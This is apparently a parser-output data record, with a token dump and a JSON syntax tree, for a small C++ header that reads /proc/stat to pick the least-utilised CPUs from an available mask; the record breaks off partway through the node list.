"&len" (&) "&" (identifier) "len" (,) "," (identifier) "fd" ()) ")" ()) ")" (!=) "!=" (number_literal) "-1" (&&) "&&" (binary_expression) "t_cpu < lasttimes.size()" (identifier) "t_cpu" (<) "<" (call_expression) "lasttimes.size()" (field_expression) "lasttimes.size" (identifier) "lasttimes" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }" ({) "{" (declaration) "char *t_line = line;" (primitive_type) "char" (init_declarator) "*t_line = line" (pointer_declarator) "*t_line" (*) "*" (identifier) "t_line" (=) "=" (identifier) "line" (;) ";" (expression_statement) "t_line += 3;" (assignment_expression) "t_line += 3" (identifier) "t_line" (+=) "+=" (number_literal) "3" (;) ";" (comment) "// cpu" (expression_statement) "t_line += t_cpu / 10;" (assignment_expression) "t_line += t_cpu / 10" (identifier) "t_line" (+=) "+=" (binary_expression) "t_cpu / 10" (identifier) "t_cpu" (/) "/" (number_literal) "10" (;) ";" (comment) "// NUM" (expression_statement) "++t_line;" (update_expression) "++t_line" (++) "++" (identifier) "t_line" (;) ";" (comment) "// empty space" (declaration) "unsigned long long utime = strtoull(t_line, &t_line, 10);" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "utime = strtoull(t_line, &t_line, 10)" (identifier) "utime" (=) "=" (call_expression) "strtoull(t_line, &t_line, 10)" (identifier) "strtoull" (argument_list) "(t_line, &t_line, 10)" (() "(" (identifier) "t_line" (,) "," (pointer_expression) "&t_line" (&) "&" (identifier) "t_line" (,) "," (number_literal) "10" ()) ")" (;) ";" (expression_statement) "++t_line;" (update_expression) "++t_line" (++) "++" (identifier) "t_line" (;) ";" (declaration) "unsigned long long ntime = strtoull(t_line, &t_line, 10);" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "ntime = strtoull(t_line, &t_line, 10)" (identifier) "ntime" (=) "=" (call_expression) "strtoull(t_line, &t_line, 10)" (identifier) "strtoull" (argument_list) "(t_line, &t_line, 10)" (() "(" (identifier) "t_line" (,) "," (pointer_expression) "&t_line" (&) "&" (identifier) "t_line" (,) "," (number_literal) "10" ()) ")" (;) ";" (expression_statement) "++t_line;" (update_expression) "++t_line" (++) "++" (identifier) "t_line" (;) ";" (declaration) "unsigned long long stime = strtoull(t_line, &t_line, 10);" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "stime = strtoull(t_line, &t_line, 10)" (identifier) "stime" (=) "=" (call_expression) "strtoull(t_line, &t_line, 10)" (identifier) "strtoull" (argument_list) "(t_line, &t_line, 10)" (() "(" (identifier) "t_line" (,) "," (pointer_expression) "&t_line" (&) "&" (identifier) "t_line" (,) "," (number_literal) "10" ()) ")" (;) ";" (expression_statement) "this->lasttimes[ t_cpu ] = utime + ntime + stime;" (assignment_expression) "this->lasttimes[ t_cpu ] = utime + ntime + stime" (subscript_expression) "this->lasttimes[ t_cpu ]" (field_expression) "this->lasttimes" (identifier) "this" (->) "->" (field_identifier) "lasttimes" ([) "[" (identifier) "t_cpu" (]) "]" (=) "=" (binary_expression) "utime + ntime + stime" (binary_expression) "utime + ntime" (identifier) "utime" (+) "+" (identifier) "ntime" (+) "+" (identifier) "stime" (;) ";" (expression_statement) "++t_cpu;" (update_expression) "++t_cpu" (++) "++" (identifier) "t_cpu" (;) ";" (}) "}" (expression_statement) "free(line);" (call_expression) "free(line)" (identifier) "free" (argument_list) "(line)" (() "(" (identifier) "line" ()) ")" (;) ";" (}) "}" (expression_statement) "~stat_t(void)" (unary_expression) "~stat_t(void)" (~) "~" (call_expression) "stat_t(void)" (identifier) "stat_t" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) "" (compound_statement) "{\n if (this->fd)\n fclose(this->fd);\n }" ({) "{" (if_statement) "if (this->fd)\n fclose(this->fd);" (if) "if" (parenthesized_expression) "(this->fd)" (() "(" (field_expression) "this->fd" (identifier) "this" (->) "->" (field_identifier) "fd" ()) ")" (expression_statement) "fclose(this->fd);" (call_expression) "fclose(this->fd)" (identifier) "fclose" (argument_list) "(this->fd)" (() "(" (field_expression) "this->fd" (identifier) "this" (->) "->" (field_identifier) "fd" ()) ")" (;) ";" (}) "}" (function_definition) "cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }" (type_identifier) "cpuset_t" (function_declarator) "lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)" (identifier) "lowest_utilization" (parameter_list) "(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)" (() "(" (parameter_declaration) "cpuset_t& avail_cpu_mask" (type_identifier) "cpuset_t" (ERROR) "&" (&) "&" (identifier) "avail_cpu_mask" (,) "," (parameter_declaration) "unsigned cpu_req_amount" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "cpu_req_amount" ()) ")" (compound_statement) "{\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }" ({) "{" (declaration) "cpuset_t mask(lasttimes.size());" (type_identifier) "cpuset_t" (function_declarator) "mask(lasttimes.size())" (identifier) "mask" (parameter_list) "(lasttimes.size())" (() "(" (parameter_declaration) "lasttimes.size()" (type_identifier) "lasttimes" (ERROR) "." (.) "." (function_declarator) "size()" (identifier) "size" (parameter_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (if_statement) "if (!this->fd)\n return mask;" (if) "if" (parenthesized_expression) "(!this->fd)" (() "(" (unary_expression) "!this->fd" (!) "!" (field_expression) "this->fd" (identifier) "this" (->) "->" (field_identifier) "fd" ()) ")" (return_statement) "return mask;" (return) "return" (identifier) "mask" (;) ";" (expression_statement) "fseek(this->fd, 0, SEEK_SET);" (call_expression) "fseek(this->fd, 0, SEEK_SET)" (identifier) "fseek" (argument_list) "(this->fd, 0, SEEK_SET)" (() "(" (field_expression) "this->fd" (identifier) "this" (->) "->" (field_identifier) "fd" (,) "," (number_literal) "0" (,) "," (identifier) "SEEK_SET" ()) ")" (;) ";" (declaration) "char *line = NULL;" (primitive_type) "char" (init_declarator) "*line = NULL" (pointer_declarator) "*line" (*) "*" (identifier) "line" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (declaration) "size_t len = 0;" (primitive_type) "size_t" (init_declarator) "len = 0" (identifier) "len" (=) "=" (number_literal) "0" (;) ";" (declaration) "ssize_t read;" (primitive_type) "ssize_t" (identifier) "read" (;) ";" (comment) "// first line is a don't care -> summary" (expression_statement) "getline(&line, &len, this->fd);" (call_expression) "getline(&line, &len, this->fd)" (identifier) "getline" (argument_list) "(&line, &len, this->fd)" (() "(" (pointer_expression) "&line" (&) "&" (identifier) "line" (,) "," (pointer_expression) "&len" (&) "&" (identifier) "len" (,) "," (field_expression) "this->fd" (identifier) "this" (->) "->" (field_identifier) "fd" ()) ")" (;) ";" (labeled_statement) "std::list< cpu_util_t > g;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "list< cpu_util_t > g;" (binary_expression) "list< cpu_util_t > g" (binary_expression) "list< cpu_util_t" (identifier) "list" (<) "<" (identifier) "cpu_util_t" (>) ">" (identifier) "g" (;) ";" (declaration) "unsigned t_cpu = 0;" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (init_declarator) "t_cpu = 0" (identifier) "t_cpu" (=) "=" (number_literal) "0" (;) ";" (while_statement) "while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }" (while) "while" (parenthesized_expression) "((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size())" (() "(" (binary_expression) "(read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()" (binary_expression) "(read = getline(&line, &len, this->fd)) != -1" (parenthesized_expression) "(read = getline(&line, &len, this->fd))" (() "(" (assignment_expression) "read = getline(&line, &len, this->fd)" (identifier) "read" (=) "=" (call_expression) "getline(&line, &len, this->fd)" (identifier) "getline" (argument_list) "(&line, &len, this->fd)" (() "(" (pointer_expression) "&line" (&) "&" (identifier) "line" (,) "," (pointer_expression) "&len" (&) "&" (identifier) "len" (,) "," (field_expression) "this->fd" (identifier) "this" (->) "->" (field_identifier) "fd" ()) ")" ()) ")" (!=) "!=" (number_literal) "-1" (&&) "&&" (binary_expression) "t_cpu < lasttimes.size()" (identifier) "t_cpu" (<) "<" (call_expression) "lasttimes.size()" (field_expression) "lasttimes.size" (identifier) "lasttimes" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }" ({) "{" (declaration) "char *t_line = line;" (primitive_type) "char" (init_declarator) "*t_line = line" (pointer_declarator) "*t_line" (*) "*" (identifier) "t_line" (=) "=" (identifier) "line" (;) ";" (expression_statement) "t_line += 3;" (assignment_expression) "t_line += 3" (identifier) "t_line" (+=) "+=" (number_literal) "3" (;) ";" (comment) "// cpu" (expression_statement) "t_line += t_cpu / 10;" (assignment_expression) "t_line += t_cpu / 10" (identifier) "t_line" (+=) "+=" (binary_expression) "t_cpu / 10" (identifier) "t_cpu" (/) "/" (number_literal) "10" (;) ";" (comment) "// NUM" (expression_statement) "++t_line;" (update_expression) "++t_line" (++) "++" (identifier) "t_line" (;) ";" (comment) "// empty space" (declaration) "unsigned long long utime = strtoull(t_line, &t_line, 10);" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "utime = strtoull(t_line, &t_line, 10)" (identifier) "utime" (=) "=" (call_expression) "strtoull(t_line, &t_line, 10)" (identifier) "strtoull" (argument_list) "(t_line, &t_line, 10)" (() "(" (identifier) "t_line" (,) "," (pointer_expression) "&t_line" (&) "&" (identifier) "t_line" (,) "," (number_literal) "10" ()) ")" (;) ";" (expression_statement) "++t_line;" (update_expression) "++t_line" (++) "++" (identifier) "t_line" (;) ";" (declaration) "unsigned long long ntime = strtoull(t_line, &t_line, 10);" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "ntime = strtoull(t_line, &t_line, 10)" (identifier) "ntime" (=) "=" (call_expression) "strtoull(t_line, &t_line, 10)" (identifier) "strtoull" (argument_list) "(t_line, &t_line, 10)" (() "(" (identifier) "t_line" (,) "," (pointer_expression) "&t_line" (&) "&" (identifier) "t_line" (,) "," (number_literal) "10" ()) ")" (;) ";" (expression_statement) "++t_line;" (update_expression) "++t_line" (++) "++" (identifier) "t_line" (;) ";" (declaration) "unsigned long long stime = strtoull(t_line, &t_line, 10);" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "stime = strtoull(t_line, &t_line, 10)" (identifier) "stime" (=) "=" (call_expression) "strtoull(t_line, &t_line, 10)" (identifier) "strtoull" (argument_list) "(t_line, &t_line, 10)" (() "(" (identifier) "t_line" (,) "," (pointer_expression) "&t_line" (&) "&" (identifier) "t_line" (,) "," (number_literal) "10" ()) ")" (;) ";" (declaration) "unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];" (sized_type_specifier) "unsigned long long" (unsigned) "unsigned" (long) "long" (long) "long" (init_declarator) "cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ]" (identifier) "cmp_diff" (=) "=" (binary_expression) "(utime + ntime + stime) - this->lasttimes[ t_cpu ]" (parenthesized_expression) "(utime + ntime + stime)" (() "(" (binary_expression) "utime + ntime + stime" (binary_expression) "utime + ntime" (identifier) "utime" (+) "+" (identifier) "ntime" (+) "+" (identifier) "stime" ()) ")" (-) "-" (subscript_expression) "this->lasttimes[ t_cpu ]" (field_expression) "this->lasttimes" (identifier) "this" (->) "->" (field_identifier) "lasttimes" ([) "[" (identifier) "t_cpu" (]) "]" (;) ";" (expression_statement) "this->lasttimes[ t_cpu ] = utime + ntime + stime;" (assignment_expression) "this->lasttimes[ t_cpu ] = utime + ntime + stime" (subscript_expression) "this->lasttimes[ t_cpu ]" (field_expression) "this->lasttimes" (identifier) "this" (->) "->" (field_identifier) "lasttimes" ([) "[" (identifier) "t_cpu" (]) "]" (=) "=" (binary_expression) "utime + ntime + stime" (binary_expression) "utime + ntime" (identifier) "utime" (+) "+" (identifier) "ntime" (+) "+" (identifier) "stime" (;) ";" (if_statement) "if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });" (if) "if" (parenthesized_expression) "(avail_cpu_mask.isset_bit(t_cpu))" (() "(" (call_expression) "avail_cpu_mask.isset_bit(t_cpu)" (field_expression) "avail_cpu_mask.isset_bit" (identifier) "avail_cpu_mask" (.) "." (field_identifier) "isset_bit" (argument_list) "(t_cpu)" (() "(" (identifier) "t_cpu" ()) ")" ()) ")" (expression_statement) "g.push_back({ cmp_diff, t_cpu });" (call_expression) "g.push_back({ cmp_diff, t_cpu })" (field_expression) "g.push_back" (identifier) "g" (.) "." (field_identifier) "push_back" (argument_list) "({ cmp_diff, t_cpu })" (() "(" (compound_statement) "{ cmp_diff, t_cpu }" ({) "{" (expression_statement) "cmp_diff, t_cpu" (comma_expression) "cmp_diff, t_cpu" (identifier) "cmp_diff" (,) "," (identifier) "t_cpu" (;) "" (}) "}" ()) ")" (;) ";" (expression_statement) "++t_cpu;" (update_expression) "++t_cpu" (++) "++" (identifier) "t_cpu" (;) ";" (}) "}" (expression_statement) "free(line);" (call_expression) "free(line)" (identifier) "free" (argument_list) "(line)" (() "(" (identifier) "line" ()) ")" (;) ";" (expression_statement) "g.sort(cmp_sort);" (call_expression) "g.sort(cmp_sort)" (field_expression) "g.sort" (identifier) "g" (.) "." (field_identifier) "sort" (argument_list) "(cmp_sort)" (() "(" (identifier) "cmp_sort" ()) ")" (;) ";" (for_statement) "for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }" (for) "for" (() "(" (declaration) "unsigned c = 0;" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (init_declarator) "c = 0" (identifier) "c" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "c < cpu_req_amount\n && !g.empty()" (binary_expression) "c < cpu_req_amount" (identifier) "c" (<) "<" (identifier) "cpu_req_amount" (&&) "&&" (unary_expression) "!g.empty()" (!) "!" (call_expression) "g.empty()" (field_expression) "g.empty" (identifier) "g" (.) "." (field_identifier) "empty" (argument_list) "()" (() "(" ()) ")" (;) ";" (update_expression) "++c" (++) "++" (identifier) "c" ()) ")" (compound_statement) "{\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }" ({) "{" (expression_statement) "mask.set_bit(g.front().cpu);" (call_expression) "mask.set_bit(g.front().cpu)" (field_expression) "mask.set_bit" (identifier) "mask" (.) "." (field_identifier) "set_bit" (argument_list) "(g.front().cpu)" (() "(" (field_expression) "g.front().cpu" (call_expression) "g.front()" (field_expression) "g.front" (identifier) "g" (.) "." (field_identifier) "front" (argument_list) "()" (() "(" ()) ")" (.) "." (field_identifier) "cpu" ()) ")" (;) ";" (expression_statement) "g.pop_front();" (call_expression) "g.pop_front()" (field_expression) "g.pop_front" (identifier) "g" (.) "." (field_identifier) "pop_front" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (return_statement) "return mask;" (return) "return" (identifier) "mask" (;) ";" (}) "}" (}) "}" (expression_statement) ";" (;) ";" (#endif) "#endif" (comment) "/* #ifndef _STAT_H_ */"
934
9
{"language": "c", "success": true, "metadata": {"lines": 98, "avg_line_length": 26.82, "nodes": 590, "errors": 0, "source_hash": "479e01f2decc587a9c9b3cf055dbfe5baf0423d794a2fc37067bc2e300dcc652", "categorized_nodes": 414}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _STAT_H_\n#define _STAT_H_\n\n#include <stdio.h>\n#include <sched.h>\n#include <vector>\n#include <list>\n#include \"sched.h\"\n\nstruct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n};\n\nstatic bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < second.tdiff);\n}\n\nclass stat_t {\nprivate:\n FILE *fd;\n std::vector< unsigned long long > lasttimes;\n\npublic:\n explicit stat_t(unsigned cpuc) :\n fd(fopen(\"/proc/stat\", \"r\")),\n lasttimes(cpuc)\n {\n if (!fd) {\n std::cerr << \"ERR: couldn't open '/proc/stat'\" << std::endl;\n return;\n }\n\n fseek(fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, fd);\n\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n ++t_cpu;\n }\n free(line);\n }\n ~stat_t(void)\n {\n if (this->fd)\n fclose(this->fd);\n }\n\n cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }\n};\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 35, 56, 589], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 116, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "_STAT_H_", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 16}}, {"id": 3, "type": "preproc_def", "text": "#define _STAT_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "_STAT_H_", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 16}}, {"id": 6, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<stdio.h>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 18}}, {"id": 9, "type": "preproc_include", "text": "#include <sched.h>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<sched.h>", "parent": 9, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 18}}, {"id": 12, "type": "preproc_include", "text": "#include <vector>\n", "parent": 0, "children": [13, 14], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<vector>", "parent": 12, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 17}}, {"id": 15, "type": "preproc_include", "text": "#include <list>\n", "parent": 0, "children": [16, 17], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<list>", "parent": 15, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 15}}, {"id": 18, "type": "preproc_include", "text": "#include \"sched.h\"\n", "parent": 0, "children": [19, 20], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"sched.h\"", "parent": 18, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 18}}, {"id": 21, "type": "struct_specifier", "text": "struct cpu_util_t {\n unsigned long long tdiff;\n unsigned int cpu;\n}", "parent": 0, "children": [22, 23], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 22, "type": "struct", "text": "struct", "parent": 21, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 6}}, {"id": 23, "type": "type_identifier", "text": "cpu_util_t", "parent": 21, "children": [], "start_point": {"row": 9, "column": 7}, "end_point": {"row": 9, "column": 17}}, {"id": 24, "type": "field_declaration", "text": "unsigned long long tdiff;", "parent": 21, "children": [25, 29], "start_point": {"row": 10, "column": 2}, "end_point": {"row": 10, "column": 27}}, {"id": 25, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 24, "children": [26, 27, 28], "start_point": {"row": 10, "column": 2}, "end_point": {"row": 10, "column": 20}}, {"id": 26, "type": "unsigned", "text": "unsigned", "parent": 25, "children": [], "start_point": {"row": 10, "column": 2}, "end_point": {"row": 10, "column": 10}}, {"id": 27, "type": "long", "text": "long", "parent": 25, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 15}}, {"id": 28, "type": "long", "text": "long", "parent": 25, "children": [], "start_point": {"row": 10, "column": 16}, "end_point": {"row": 10, "column": 20}}, {"id": 29, "type": "field_identifier", "text": "tdiff", "parent": 24, "children": [], "start_point": {"row": 10, "column": 21}, "end_point": {"row": 10, "column": 26}}, {"id": 30, "type": "field_declaration", "text": "unsigned int cpu;", "parent": 21, "children": [31, 34], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 19}}, {"id": 31, "type": "sized_type_specifier", "text": "unsigned int", "parent": 30, "children": [32, 33], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 14}}, {"id": 32, "type": "unsigned", "text": "unsigned", "parent": 31, "children": [], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 10}}, {"id": 33, "type": "primitive_type", "text": "int", "parent": 31, "children": [], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 14}}, {"id": 34, "type": "field_identifier", "text": "cpu", "parent": 30, "children": [], "start_point": {"row": 11, "column": 15}, "end_point": {"row": 11, "column": 18}}, {"id": 35, "type": "function_definition", "text": "static bool cmp_sort(const cpu_util_t& first, const cpu_util_t& second)\n{\n return (first.tdiff < second.tdiff);\n}", "parent": 0, "children": [36, 37], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 17, "column": 1}}, {"id": 36, "type": "primitive_type", "text": "bool", "parent": 35, "children": [], "start_point": {"row": 14, "column": 7}, "end_point": {"row": 14, "column": 11}}, {"id": 37, "type": "function_declarator", "text": "cmp_sort(const cpu_util_t& first, const cpu_util_t& second)", "parent": 35, "children": [38, 39], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 71}}, {"id": 38, "type": "identifier", "text": "cmp_sort", "parent": 37, "children": [], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 20}}, {"id": 39, "type": "parameter_list", "text": "(const cpu_util_t& first, const cpu_util_t& second)", "parent": 37, "children": [40, 43], "start_point": {"row": 14, "column": 20}, "end_point": {"row": 14, "column": 71}}, {"id": 40, "type": "parameter_declaration", "text": "const cpu_util_t& first", "parent": 39, "children": [41, 42], "start_point": {"row": 14, "column": 21}, "end_point": {"row": 14, "column": 44}}, {"id": 41, "type": "type_identifier", "text": "cpu_util_t", "parent": 40, "children": [], "start_point": {"row": 14, "column": 27}, "end_point": {"row": 14, "column": 37}}, {"id": 42, "type": "identifier", "text": "first", "parent": 40, "children": [], "start_point": {"row": 14, "column": 39}, "end_point": {"row": 14, "column": 44}}, {"id": 43, "type": "parameter_declaration", "text": "const cpu_util_t& second", "parent": 39, "children": [44, 45], "start_point": {"row": 14, "column": 46}, "end_point": {"row": 14, "column": 70}}, {"id": 44, "type": "type_identifier", "text": "cpu_util_t", "parent": 43, "children": [], "start_point": {"row": 14, "column": 52}, "end_point": {"row": 14, "column": 62}}, {"id": 45, "type": "identifier", "text": "second", "parent": 43, "children": [], "start_point": {"row": 14, "column": 64}, 